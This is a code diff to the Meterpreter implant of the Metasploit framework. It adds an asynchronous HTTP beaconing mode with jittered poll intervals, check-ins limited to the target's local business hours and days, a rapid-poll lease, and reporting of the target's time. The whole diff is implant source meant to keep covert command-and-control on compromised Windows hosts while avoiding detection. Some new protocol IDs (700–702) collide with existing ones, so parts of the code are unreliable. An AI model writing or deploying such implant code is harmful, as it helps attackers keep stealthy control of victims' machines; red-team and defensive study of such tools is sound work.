diff --git a/c/meterpreter/source/common/common_command_ids.h b/c/meterpreter/source/common/common_command_ids.h index 3c37f414c..26882d0e7 100644 --- a/c/meterpreter/source/common/common_command_ids.h +++ b/c/meterpreter/source/common/common_command_ids.h @@ -56,6 +56,9 @@ #define COMMAND_ID_CORE_TRANSPORT_SET_TIMEOUTS 32 #define COMMAND_ID_CORE_TRANSPORT_SLEEP 33 #define COMMAND_ID_CORE_PIVOT_SESSION_NEW 34 +#define COMMAND_ID_CORE_ASYNC_MODE 35 +#define COMMAND_ID_CORE_GET_TARGET_TIME 36 +#define COMMAND_ID_CORE_ASYNC_LEASE 37 #define COMMAND_ID_STDAPI_FS_CHDIR 1001 #define COMMAND_ID_STDAPI_FS_CHMOD 1002 #define COMMAND_ID_STDAPI_FS_DELETE_DIR 1003 diff --git a/c/meterpreter/source/common/common_core.h b/c/meterpreter/source/common/common_core.h index 7486dba3d..ffdcac6d8 100644 --- a/c/meterpreter/source/common/common_core.h +++ b/c/meterpreter/source/common/common_core.h @@ -179,6 +179,18 @@ typedef enum TLV_TYPE_PIVOT_STAGE_DATA = TLV_VALUE(TLV_META_TYPE_RAW, 651), ///! Represents the data to be staged on new connections. TLV_TYPE_PIVOT_NAMED_PIPE_NAME = TLV_VALUE(TLV_META_TYPE_STRING, 653), ///! Represents named pipe name. + // Async mode + TLV_TYPE_ASYNC_ENABLED = TLV_VALUE(TLV_META_TYPE_BOOL, 700), ///! Enable/disable async mode. + TLV_TYPE_ASYNC_POLL_INTERVAL = TLV_VALUE(TLV_META_TYPE_UINT, 701), ///! Seconds between check-ins. + TLV_TYPE_ASYNC_POLL_JITTER = TLV_VALUE(TLV_META_TYPE_UINT, 702), ///! Jitter percentage 0-99. + TLV_TYPE_ASYNC_WORK_START = TLV_VALUE(TLV_META_TYPE_UINT, 703), ///! Business hours start (0-23). + TLV_TYPE_ASYNC_WORK_END = TLV_VALUE(TLV_META_TYPE_UINT, 704), ///! Business hours end (0-24). + TLV_TYPE_ASYNC_WORK_DAYS = TLV_VALUE(TLV_META_TYPE_UINT, 705), ///! Bitmask of active days (bit0=Sun..bit6=Sat). + TLV_TYPE_TARGET_UNIX_TS = TLV_VALUE(TLV_META_TYPE_QWORD, 707), ///! Target UTC seconds since Unix epoch. + TLV_TYPE_TARGET_LOCAL_UNIX_TS = TLV_VALUE(TLV_META_TYPE_QWORD, 708), ///! Target local wall-clock seconds as UTC. + TLV_TYPE_ASYNC_LEASE_ENABLED = TLV_VALUE(TLV_META_TYPE_BOOL, 709), ///! Enable or release a rapid-poll job lease. + TLV_TYPE_ASYNC_LEASE_TTL = TLV_VALUE(TLV_META_TYPE_UINT, 710), ///! Job lease expiry timeout in seconds. + TLV_TYPE_SESSION_EXPIRY = TLV_VALUE(TLV_META_TYPE_UINT, 700), ///! Session expiration time TLV_TYPE_EXITFUNC = TLV_VALUE(TLV_META_TYPE_UINT, 701), ///! identifier of the exit function to use TLV_TYPE_DEBUG_LOG = TLV_VALUE(TLV_META_TYPE_STRING, 702), ///! path to write debug log diff --git a/c/meterpreter/source/common/common_remote.h b/c/meterpreter/source/common/common_remote.h index 36245e0ff..398e9a3e8 100644 --- a/c/meterpreter/source/common/common_remote.h +++ b/c/meterpreter/source/common/common_remote.h @@ -121,6 +121,17 @@ typedef struct _HttpTransportContext BOOL move_to_wininet; ///! If set, winhttp is busted, and we need to move to wininet. + BOOL async_mode; ///! Flag indicating whether async mode is enabled. + UINT async_poll_interval; ///! Seconds between poll check-ins in async mode. + UINT async_poll_jitter; ///! Jitter percentage (0-99) applied to poll interval. + UINT async_work_start; ///! Business hours start hour (0-23). + UINT async_work_end; ///! Business hours end hour (0-23). + UINT async_work_days; ///! Bitmask of active days (bit0=Sun..bit6=Sat). + BOOL async_lease_active; ///! Whether a controller-owned rapid-poll lease is active. + UINT async_lease_ttl; ///! Lease renewal timeout in seconds. + DWORD async_lease_deadline_ticks; ///! Monotonic lease expiry deadline. + HANDLE async_wake_event; ///! Event signaled to interrupt async sleep early. + PCreateHttpRequest create_req; ///! WinHTTP/WinINET specific request creation. PSendHttpRequest send_req; ///! WinHTTP/WinINET specifc request sending. PCloseRequest close_req; ///! WinHTTP/WinINET specifc request closing. @@ -196,6 +207,8 @@ typedef struct _Remote PivotTree* pivot_listeners; ///! Collection of active Meterpreter pivot listeners. PacketEncryptionContext* enc_ctx; ///! Reference to the packet encryption context. + + BOOL async_mode; ///! When TRUE, command_handle processes commands inline. } Remote; #endif diff --git a/c/meterpreter/source/metsrv/core.c b/c/meterpreter/source/metsrv/core.c index d1335b03e..5093624e4 100644 --- a/c/meterpreter/source/metsrv/core.c +++ b/c/meterpreter/source/metsrv/core.c @@ -9,6 +9,8 @@ #include #include #include "metsrv.h" + +extern BOOL async_lease_is_active(HttpTransportContext* ctx); #include "common_exports.h" #include "packet_encryption.h" @@ -1422,6 +1424,27 @@ DWORD packet_transmit_empty_response(Remote *remote, Packet *packet, DWORD res) return packet_transmit_response(res, remote, response); } +VOID packet_add_target_time(Packet* response) +{ + SYSTEMTIME localTime; + FILETIME utcFileTime; + FILETIME localFileTime; + ULARGE_INTEGER utcTicks; + ULARGE_INTEGER localTicks; + const QWORD unixEpochTicks = 116444736000000000ULL; + + GetSystemTimeAsFileTime(&utcFileTime); + GetLocalTime(&localTime); + SystemTimeToFileTime(&localTime, &localFileTime); + + utcTicks.LowPart = utcFileTime.dwLowDateTime; + utcTicks.HighPart = utcFileTime.dwHighDateTime; + localTicks.LowPart = localFileTime.dwLowDateTime; + localTicks.HighPart = localFileTime.dwHighDateTime; + packet_add_tlv_qword(response, TLV_TYPE_TARGET_UNIX_TS, (utcTicks.QuadPart - unixEpochTicks) / 10000000ULL); + packet_add_tlv_qword(response, TLV_TYPE_TARGET_LOCAL_UNIX_TS, (localTicks.QuadPart - unixEpochTicks) / 10000000ULL); +} + /*! * @brief Transmit a `TLV_TYPE_RESULT` response if `response` is present. * @param result The result to be sent. @@ -1432,6 +1455,20 @@ DWORD packet_transmit_response(DWORD result, Remote* remote, Packet* response) { if (response) { + Tlv targetTime = { 0 }; + Tlv asyncLease = { 0 }; + if (remote != NULL && remote->async_mode && packet_get_tlv(response, TLV_TYPE_TARGET_UNIX_TS, &targetTime) != ERROR_SUCCESS) + { + packet_add_target_time(response); + } + if (remote != NULL && remote->async_mode && packet_get_tlv(response, TLV_TYPE_ASYNC_LEASE_ENABLED, &asyncLease) != ERROR_SUCCESS) + { + BOOL leaseActive = remote->transport != NULL + && (remote->transport->type & METERPRETER_TRANSPORT_HTTP) + && async_lease_is_active((HttpTransportContext*)remote->transport->ctx); + packet_add_tlv_bool(response, TLV_TYPE_ASYNC_LEASE_ENABLED, leaseActive); + } + packet_add_tlv_uint(response, TLV_TYPE_RESULT, result); return packet_transmit(remote, response, NULL); } diff --git a/c/meterpreter/source/metsrv/core.h b/c/meterpreter/source/metsrv/core.h index 1c4443395..1ae975e4d 100644 --- a/c/meterpreter/source/metsrv/core.h +++ b/c/meterpreter/source/metsrv/core.h @@ -62,6 +62,7 @@ DWORD packet_add_exception(Packet *packet, DWORD code,PCHAR string, ...); * Packet transmission */ DWORD packet_transmit_response(DWORD result, Remote* remote, Packet* response); +VOID packet_add_target_time(Packet* response); DWORD packet_transmit(Remote* remote, Packet* packet, PacketRequestCompletion* completion); DWORD packet_transmit_empty_response(Remote *remote, Packet *packet, DWORD res); DWORD packet_add_request_id(Packet* packet); diff --git a/c/meterpreter/source/metsrv/core_async.c b/c/meterpreter/source/metsrv/core_async.c new file mode 100644 index 000000000..e21108fd1 --- /dev/null +++ b/c/meterpreter/source/metsrv/core_async.c @@ -0,0 +1,311 @@ +/*! + * @file core_async.c + * @brief Handles the core async mode command for HTTP transports. + */ +#include "metsrv.h" + +// Explicit leases keep a queued job responsive without guessing from recent +// packet activity. The bounded TTL returns the target to scheduled polling if +// the Framework job disappears. +#define ASYNC_LEASE_POLL_MS 1000 +#define ASYNC_LEASE_DEFAULT_TTL 300 +#define ASYNC_LEASE_MIN_TTL 30 +#define ASYNC_LEASE_MAX_TTL 3600 +#define ASYNC_POLL_MAX_SECONDS 86400 + +/*! + * @brief Extend an active async job lease from the current monotonic time. + * @param ctx Pointer to the HTTP transport context containing async config. + */ +VOID async_touch_lease(HttpTransportContext* ctx) +{ + if (ctx == NULL || !ctx->async_lease_active) + { + return; + } + ctx->async_lease_deadline_ticks = GetTickCount() + ctx->async_lease_ttl * 1000; +} + +/*! + * @brief Determine whether a controller-owned job lease remains active. + * @param ctx Pointer to the HTTP transport context containing async config. + * @returns TRUE if the target should continue rapid polling. + */ +BOOL async_lease_is_active(HttpTransportContext* ctx) +{ + if (ctx == NULL || !ctx->async_lease_active) + { + return FALSE; + } + + if ((LONG)(ctx->async_lease_deadline_ticks - GetTickCount()) <= 0) + { + ctx->async_lease_active = FALSE; + ctx->async_lease_deadline_ticks = 0; + return FALSE; + } + + return TRUE; +} + +/*! + * @brief Determine if the current local hour falls within business hours on an active day. + * @param ctx Pointer to the HTTP transport context containing async config. + * @returns TRUE if currently within configured work hours, FALSE otherwise. + */ +BOOL async_in_work_hours(HttpTransportContext* ctx) +{ + SYSTEMTIME st; + GetLocalTime(&st); + + // Check if current hour is within work hours + if (ctx->async_work_start < ctx->async_work_end) + { + // Normal range, e.g. 8-17 + return (st.wHour >= ctx->async_work_start && st.wHour < ctx->async_work_end) + && (ctx->async_work_days == 0 || (ctx->async_work_days & (1 << st.wDayOfWeek)) != 0); + } + else if (ctx->async_work_start > ctx->async_work_end) + { + if (st.wHour >= ctx->async_work_start) + { + return ctx->async_work_days == 0 || (ctx->async_work_days & (1 << st.wDayOfWeek)) != 0; + } + else if (st.wHour < ctx->async_work_end) + { + UINT previousDay = (st.wDayOfWeek + 6) % 7; + return ctx->async_work_days == 0 || (ctx->async_work_days & (1 << previousDay)) != 0; + } + + return FALSE; + } + + // If start == end, treat as 24h on active days + return ctx->async_work_days == 0 || (ctx->async_work_days & (1 << st.wDayOfWeek)) != 0; +} + +/*! + * @brief Calculate the sleep duration in milliseconds for the current async poll cycle. + * @param ctx Pointer to the HTTP transport context containing async config. + * @returns Sleep duration in milliseconds with jitter applied. Returns a short + * rapid interval (no jitter) while an explicit job lease is active. + */ +DWORD async_calculate_sleep_ms(HttpTransportContext* ctx) +{ + if (async_lease_is_active(ctx)) + { + return ASYNC_LEASE_POLL_MS; + } + + ULONGLONG intervalMs = (ULONGLONG)ctx->async_poll_interval * 1000; + + if (ctx->async_poll_jitter > 0 && ctx->async_poll_jitter < 100) + { + // Apply jitter: interval ± jitter% + ULONGLONG jitterRange = (intervalMs * ctx->async_poll_jitter) / 100; + // Random value in range [0, 2*jitterRange], then shift to [-jitterRange, +jitterRange] + DWORD randomValue; + if (jitterRange > 0) + { + randomValue = ((DWORD)rand() << 16) ^ (DWORD)rand(); + intervalMs = intervalMs - jitterRange + (randomValue % (DWORD)(2 * jitterRange + 1)); + } + } + + return (DWORD)intervalMs; +} + +/*! + * @brief Handle the COMMAND_ID_CORE_ASYNC_MODE request. + * @param remote Pointer to the \c Remote instance. + * @param packet Pointer to the incoming request \c Packet. + * @returns Indication of success or failure. + */ +DWORD request_core_async_mode(Remote* remote, Packet* packet) +{ + Packet* response = met_api->packet.create_response(packet); + DWORD result = ERROR_SUCCESS; + Transport* transport = remote->transport; + + // Async mode is only supported on HTTP transports + if (!(transport->type & METERPRETER_TRANSPORT_HTTP)) + { + dprintf("[ASYNC] Async mode is only supported on HTTP transports"); + result = ERROR_NOT_SUPPORTED; + } + else + { + HttpTransportContext* ctx = (HttpTransportContext*)transport->ctx; + + BOOL enabled = met_api->packet.get_tlv_value_bool(packet, TLV_TYPE_ASYNC_ENABLED); + ctx->async_mode = enabled; + remote->async_mode = enabled; + + if (enabled) + { + UINT pollInterval = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_ASYNC_POLL_INTERVAL); + UINT pollJitter = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_ASYNC_POLL_JITTER); + UINT workStart = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_ASYNC_WORK_START); + UINT workEnd = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_ASYNC_WORK_END); + UINT workDays = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_ASYNC_WORK_DAYS); + + // Apply poll interval (minimum 10 seconds to avoid spin) + if (pollInterval > ASYNC_POLL_MAX_SECONDS) + { + ctx->async_poll_interval = ASYNC_POLL_MAX_SECONDS; + } + else if (pollInterval >= 10) + { + ctx->async_poll_interval = pollInterval; + } + else if (pollInterval > 0) + { + ctx->async_poll_interval = 10; + } + else + { + // Default to 300 seconds if not specified + ctx->async_poll_interval = 300; + } + + // Jitter must be 0-99 + if (pollJitter < 100) + { + ctx->async_poll_jitter = pollJitter; + } + else + { + ctx->async_poll_jitter = 0; + } + + // Work hours (0-23, end also accepts 24 meaning midnight) + ctx->async_work_start = (workStart <= 23) ? workStart : 0; + ctx->async_work_end = (workEnd <= 24) ? workEnd : 0; + + // Work days bitmask (7 bits: bit0=Sun..bit6=Sat) + ctx->async_work_days = workDays & 0x7F; + + ctx->async_lease_active = FALSE; + ctx->async_lease_ttl = 0; + ctx->async_lease_deadline_ticks = 0; + + // Create the wake event (auto-reset) so sleeps can be interrupted + if (ctx->async_wake_event == NULL) + { + ctx->async_wake_event = CreateEvent(NULL, FALSE, FALSE, NULL); + } + + dprintf("[ASYNC] Async mode enabled: interval=%us, jitter=%u%%, hours=%u-%u, days=0x%02X", + ctx->async_poll_interval, ctx->async_poll_jitter, + ctx->async_work_start, ctx->async_work_end, ctx->async_work_days); + } + else + { + dprintf("[ASYNC] Async mode disabled"); + + // Signal the wake event to interrupt any in-progress async sleep + if (ctx->async_wake_event != NULL) + { + SetEvent(ctx->async_wake_event); + CloseHandle(ctx->async_wake_event); + ctx->async_wake_event = NULL; + } + + ctx->async_poll_interval = 0; + ctx->async_poll_jitter = 0; + ctx->async_work_start = 0; + ctx->async_work_end = 0; + ctx->async_work_days = 0; + ctx->async_lease_active = FALSE; + ctx->async_lease_ttl = 0; + ctx->async_lease_deadline_ticks = 0; + } + + met_api->packet.add_tlv_bool(response, TLV_TYPE_ASYNC_ENABLED, ctx->async_mode); + } + + met_api->packet.transmit_response(result, remote, response); + + return result; +} + +/*! + * @brief Return the target UTC and local wall-clock timestamps. + */ +DWORD request_core_get_target_time(Remote* remote, Packet* packet) +{ + Packet* response = met_api->packet.create_response(packet); + if (response == NULL) + { + return ERROR_NOT_ENOUGH_MEMORY; + } + + packet_add_target_time(response); + met_api->packet.transmit_response(ERROR_SUCCESS, remote, response); + return ERROR_SUCCESS; +} + +/*! + * @brief Acquire, renew, or release a controller-owned async job lease. + */ +DWORD request_core_async_lease(Remote* remote, Packet* packet) +{ + Packet* response = met_api->packet.create_response(packet); + DWORD result = ERROR_SUCCESS; + Transport* transport = remote->transport; + HttpTransportContext* ctx = NULL; + + if (response == NULL) + { + return ERROR_NOT_ENOUGH_MEMORY; + } + + if (!(transport->type & METERPRETER_TRANSPORT_HTTP)) + { + result = ERROR_NOT_SUPPORTED; + } + else + { + BOOL enabled = met_api->packet.get_tlv_value_bool(packet, TLV_TYPE_ASYNC_LEASE_ENABLED); + ctx = (HttpTransportContext*)transport->ctx; + + if (enabled && !ctx->async_mode) + { + result = ERROR_NOT_SUPPORTED; + } + else if (enabled) + { + UINT ttl = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_ASYNC_LEASE_TTL); + if (ttl == 0) + { + ttl = ASYNC_LEASE_DEFAULT_TTL; + } + else if (ttl < ASYNC_LEASE_MIN_TTL) + { + ttl = ASYNC_LEASE_MIN_TTL; + } + else if (ttl > ASYNC_LEASE_MAX_TTL) + { + ttl = ASYNC_LEASE_MAX_TTL; + } + + ctx->async_lease_ttl = ttl; + ctx->async_lease_active = TRUE; + async_touch_lease(ctx); + if (ctx->async_wake_event != NULL) + { + SetEvent(ctx->async_wake_event); + } + } + else + { + ctx->async_lease_active = FALSE; + ctx->async_lease_ttl = 0; + ctx->async_lease_deadline_ticks = 0; + } + } + + met_api->packet.add_tlv_bool(response, TLV_TYPE_ASYNC_LEASE_ENABLED, ctx != NULL && async_lease_is_active(ctx)); + met_api->packet.transmit_response(result, remote, response); + return result; +} diff --git a/c/meterpreter/source/metsrv/remote_dispatch.c b/c/meterpreter/source/metsrv/remote_dispatch.c index 36e8aa854..270f3dda7 100644 --- a/c/meterpreter/source/metsrv/remote_dispatch.c +++ b/c/meterpreter/source/metsrv/remote_dispatch.c @@ -22,7 +22,10 @@ DWORD request_core_machine_id(Remote* remote, Packet* packet); DWORD request_core_get_session_guid(Remote* remote, Packet* packet); DWORD request_core_set_session_guid(Remote* remote, Packet* packet); DWORD request_core_set_uuid(Remote* remote, Packet* packet); +DWORD request_core_async_mode(Remote* remote, Packet* packet); BOOL request_core_patch_uuid(Remote* remote, Packet* packet, DWORD* result); +DWORD request_core_get_target_time(Remote* remote, Packet* packet); +DWORD request_core_async_lease(Remote* remote, Packet* packet); // Dispatch table Command customCommands[] = @@ -35,6 +38,9 @@ Command customCommands[] = COMMAND_REQ(COMMAND_ID_CORE_SET_UUID, request_core_set_uuid), COMMAND_REQ(COMMAND_ID_CORE_PIVOT_ADD, request_core_pivot_add), COMMAND_REQ(COMMAND_ID_CORE_PIVOT_REMOVE, request_core_pivot_remove), + COMMAND_REQ(COMMAND_ID_CORE_ASYNC_MODE, request_core_async_mode), + COMMAND_REQ(COMMAND_ID_CORE_GET_TARGET_TIME, request_core_get_target_time), + COMMAND_REQ(COMMAND_ID_CORE_ASYNC_LEASE, request_core_async_lease), COMMAND_INLINE_REP(COMMAND_ID_CORE_PATCH_UUID, request_core_patch_uuid), COMMAND_TERMINATOR }; diff --git a/c/meterpreter/source/metsrv/server_transport_winhttp.c b/c/meterpreter/source/metsrv/server_transport_winhttp.c index 864a5fe72..547e86b7c 100644 --- a/c/meterpreter/source/metsrv/server_transport_winhttp.c +++ b/c/meterpreter/source/metsrv/server_transport_winhttp.c @@ -18,6 +18,11 @@ #define DBG_PRINT_OPTIONS(t, o) #endif +// Async mode helpers (defined in core_async.c) +extern BOOL async_in_work_hours(HttpTransportContext* ctx); +extern DWORD async_calculate_sleep_ms(HttpTransportContext* ctx); +extern BOOL async_lease_is_active(HttpTransportContext* ctx); + /*! * @brief Prepare a winHTTP request with the given context. * @param ctx Pointer to the HTTP transport context to prepare the request from. @@ -397,6 +402,7 @@ static DWORD packet_transmit_http(Remote *remote, LPBYTE rawPacket, DWORD rawPac } dprintf("[PACKET TRANSMIT HTTP] request sent.. apparently"); + res = ctx->receive_response(hReq); if (!res) { @@ -800,6 +806,24 @@ static DWORD server_dispatch_http(Remote* remote, THREAD* dispatchThread) break; } + // Async mode: wait until inside business hours before polling + if (ctx->async_mode && !async_lease_is_active(ctx) && !async_in_work_hours(ctx)) + { + dprintf("[DISPATCH] Outside business hours, sleeping 60s before re-check"); + if (ctx->async_wake_event) + { + WaitForSingleObject(ctx->async_wake_event, 60000); + } + else + { + Sleep(60000); + } + // Keep comms timestamp fresh so the timeout check doesn't + // kill the transport during intentional out-of-hours sleep + transport->comms_last_packet = current_unix_timestamp(); + continue; + } + dprintf("[DISPATCH] Reading data from the remote side..."); result = packet_receive_http(remote, &packet); @@ -809,6 +833,24 @@ static DWORD server_dispatch_http(Remote* remote, THREAD* dispatchThread) if (result == ERROR_EMPTY) { transport->comms_last_packet = current_unix_timestamp(); + + // In async mode, sleep for the configured poll interval on empty responses + if (ctx->async_mode && ctx->async_poll_interval > 0) + { + DWORD asyncDelay = async_calculate_sleep_ms(ctx); + dprintf("[DISPATCH] Async mode: no commands, sleeping for %ums", asyncDelay); + if (ctx->async_wake_event) + { + WaitForSingleObject(ctx->async_wake_event, asyncDelay); + } + else + { + Sleep(asyncDelay); + } + // Refresh timestamp so comms timeout doesn't fire after the async sleep + transport->comms_last_packet = current_unix_timestamp(); + continue; + } } else if (result == ERROR_WINHTTP_CANNOT_CONNECT) { @@ -872,6 +914,10 @@ static DWORD server_dispatch_http(Remote* remote, THREAD* dispatchThread) { dprintf("[DISPATCH] Packet was NULL, this indicates that it was a pivot packet"); } + + // In async mode, do NOT sleep after handling a command — immediately + // poll again to drain any remaining queued commands. The sleep only + // happens on empty responses (no commands available). } } diff --git a/c/meterpreter/workspace/metsrv/metsrv.vcxproj b/c/meterpreter/workspace/metsrv/metsrv.vcxproj index 601786538..e7d7122f6 100644 --- a/c/meterpreter/workspace/metsrv/metsrv.vcxproj +++ b/c/meterpreter/workspace/metsrv/metsrv.vcxproj @@ -583,6 +583,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" + diff --git a/c/meterpreter/workspace/metsrv/metsrv.vcxproj.filters b/c/meterpreter/workspace/metsrv/metsrv.vcxproj.filters index 0f4fbe67f..8c9f2c60f 100644 --- a/c/meterpreter/workspace/metsrv/metsrv.vcxproj.filters +++ b/c/meterpreter/workspace/metsrv/metsrv.vcxproj.filters @@ -51,7 +51,8 @@ - + +